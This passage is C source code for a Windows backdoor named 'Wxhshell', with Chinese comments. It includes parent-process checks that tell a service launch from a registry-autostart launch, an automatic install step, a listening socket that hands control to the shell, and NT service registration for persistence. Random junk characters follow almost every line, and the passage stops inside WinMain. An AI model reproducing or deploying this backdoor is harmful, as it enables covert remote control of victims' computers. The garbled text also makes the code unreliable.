DWORD AffinityMask; W2`/z)[*>
DWORD BasePriority; yKhN1kY
ULONG UniqueProcessId; /cXVJ(#j
ULONG InheritedFromUniqueProcessId; {CaTu5\
} PROCESS_BASIC_INFORMATION; ZzO^IZKlC
fep8hf B;
PROCNTQSIP NtQueryInformationProcess; >^Z==1
0XzrzT"&
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uE=pq<
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _!ITCkBj
}\?]uNH
HANDLE hProcess; =>mx>R`S
PROCESS_BASIC_INFORMATION pbi; ~Qm<w3oy
T!YfCw.HZ
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); oD8X]R,
H
if(NULL == hInst ) return 0; .kqH}{hf
N ]|P||fC
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AM:lU
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *=)kR7,]9d
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )OE!vA
r^Mu`*x*
if (!NtQueryInformationProcess) return 0; Ls2g#+
"/g\?Nce
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); DlF6tcoI
if(!hProcess) return 0; zf.&E3Sn
.Gcs/PN
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ',l}$]y5
8r\;8all
CloseHandle(hProcess); Y7GHIzX
@\?QZX(H
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0ME.O+
if(hProcess==NULL) return 0; 2S@aG%-)
gw_]Y^U
HMODULE hMod; I=c}6
char procName[255]; !)//b]
unsigned long cbNeeded; g&?RQ
N#&/d nV
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zy\R>4i'#Q
"eH.<&
CloseHandle(hProcess); P>wTp)
*V[6ta'
if(strstr(procName,"services")) return 1; // 以服务启动 * R_mvJlT
,1ceNF#oL
return 0; // 注册表启动 O
<#H5/Tq
} 8h$f6 JE
7blo<|9
// 主模块 4iC=+YUn
int StartWxhshell(LPSTR lpCmdLine) E%e2$KfD
{ =LyRCrA
SOCKET wsl; I%'6IpR"d
BOOL val=TRUE; NA{?DSP
int port=0; >!BZ>G2
struct sockaddr_in door; P~9y}7Q\0
>`)IdX
if(wscfg.ws_autoins) Install(); Xo/0lT
'FC#O%l
port=atoi(lpCmdLine); }~+_|
7T/hmVi_
if(port<=0) port=wscfg.ws_port; +2Wijrn
H^JwaF
WSADATA data; -;RW)n^n
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }WM!e"
"]kq,j^]
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; $guaUe[x
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); yN:U"]glC
door.sin_family = AF_INET; 4&}dA^F
door.sin_addr.s_addr = inet_addr("127.0.0.1"); i"OY=iw-N
door.sin_port = htons(port); LG:Mksd8=4
CZ|h` ";P2
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bU{lV<R,
closesocket(wsl); `S:LuU8e
return 1; a<Ksas'5S
} =2R0 g2n
" ,>,t_J
if(listen(wsl,2) == INVALID_SOCKET) { o`%;*tx
closesocket(wsl); up
)JU [
return 1; @3WI7q4
} pUm|e5
Wxhshell(wsl); ]]!&>tOlI
WSACleanup(); !J k|ha~r
Wo,"$Z6B
return 0; K;P<c,9X/
vI5'npM
} Y:KIaYkk
tXW7G@
// 以NT服务方式启动 !v?WyGbUg
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |0s)aV|K
{ XFJz\'{
DWORD status = 0; +xojnv
DWORD specificError = 0xfffffff; 7Ug^aA
dW} m44X
serviceStatus.dwServiceType = SERVICE_WIN32; tJ9-8ZT*
serviceStatus.dwCurrentState = SERVICE_START_PENDING; x>eV$UJ
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +GFK!Pf
serviceStatus.dwWin32ExitCode = 0; ^M7pCetjdW
serviceStatus.dwServiceSpecificExitCode = 0; Q'R*a(pm
serviceStatus.dwCheckPoint = 0; K/IG6s;Xj
serviceStatus.dwWaitHint = 0;
zPW_
QvvH/u
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V)#rP?Y
if (hServiceStatusHandle==0) return; L3|~
i&k
#:M <<gk
status = GetLastError(); OTV$8{
if (status!=NO_ERROR) I*OJPFZ^4
{ QNxY`
serviceStatus.dwCurrentState = SERVICE_STOPPED; Mcm%G#
serviceStatus.dwCheckPoint = 0; Q%.F Mf
serviceStatus.dwWaitHint = 0; s%Ir h;Bs
serviceStatus.dwWin32ExitCode = status; 344E4F"ph
serviceStatus.dwServiceSpecificExitCode = specificError; ~pG,|\9
SetServiceStatus(hServiceStatusHandle, &serviceStatus); o@@,
}
return; %}1v- z
} 4#Id0['
gf^XqTLs
serviceStatus.dwCurrentState = SERVICE_RUNNING; "|6763.{4
serviceStatus.dwCheckPoint = 0; "fZWAGDBO\
serviceStatus.dwWaitHint = 0; o8!uvl}:9
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); WwAvR5jq
} ^rssZQKY[
,!Q^"aOT:
// 处理NT服务事件,比如:启动、停止 j@C*kj;-
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]mdO3P
{ ?CO..l
switch(fdwControl) D'Y=}I)8Dn
{ xG~7kj3
case SERVICE_CONTROL_STOP: &p_V<\(%
serviceStatus.dwWin32ExitCode = 0; Ew>lk9La(
serviceStatus.dwCurrentState = SERVICE_STOPPED; $4u8"n e)
serviceStatus.dwCheckPoint = 0; }&Kl)2:O
serviceStatus.dwWaitHint = 0; K3-Cuku
{ 8XhGo2zf
SetServiceStatus(hServiceStatusHandle, &serviceStatus); y_}jf,b4
} <MzXTy3\
return; oa2v/P1`
case SERVICE_CONTROL_PAUSE: Pt[ b;}
serviceStatus.dwCurrentState = SERVICE_PAUSED; L6n<h
break; hB??~>i3
case SERVICE_CONTROL_CONTINUE: p$_X\,F
serviceStatus.dwCurrentState = SERVICE_RUNNING; t;L7H E@Y
break; d[$YTw
case SERVICE_CONTROL_INTERROGATE: O#3PUuE%d
break; f0]`TjY
}; *Y<1KXFU
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _>4Qh#6K
} @zi_@B
tr-muhuK
// 标准应用程序主函数 Dh.pH1ZY3n
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !lk9U^wnd
{ ,*j@Zb_r
/6yH ,{(a
// 获取操作系统版本 'm|PSwB7
OsIsNt=GetOsVer(); z\r29IRh
GetModuleFileName(NULL,ExeFile,MAX_PATH); At)\$GJ
m(p0)X),_i
// 从命令行安装 :!<